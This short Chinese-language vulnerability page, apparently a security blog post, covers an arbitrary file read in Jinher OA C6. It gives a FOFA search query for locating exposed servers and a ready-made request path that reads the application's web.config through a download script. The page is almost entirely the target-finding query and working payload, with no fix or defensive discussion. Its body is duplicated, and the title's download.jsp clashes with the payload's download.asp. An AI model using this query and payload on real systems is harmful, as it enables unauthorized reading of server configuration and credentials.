金和OA_C6_download.jsp_任意文件讀取漏洞

2021年7月15日发布

070

# 金和OA C6 download.jsp 任意文件讀取漏洞

==漏洞影響==

金和OA

==FOFA==

app="Jinher-OA"

==Payload==

/C6/Jhsoft.Web.module/testbill/dj/download.asp?filename=/c6/web.config

讀取web.config

/C6/Jhsoft.Web.module/testbill/dj/download.asp?filename=/c6/web.config

==漏洞影響==

金和OA

==FOFA==

app="Jinher-OA"

==Payload==

/C6/Jhsoft.Web.module/testbill/dj/download.asp?filename=/c6/web.config

讀取web.config

/C6/Jhsoft.Web.module/testbill/dj/download.asp?filename=/c6/web.config

文章版权归作者所有，未经允许请勿转载。

THE END

喜欢就支持一下吧

请登录后查看评论内容

1泛微OA E-Cology sync接口反序列化命令执行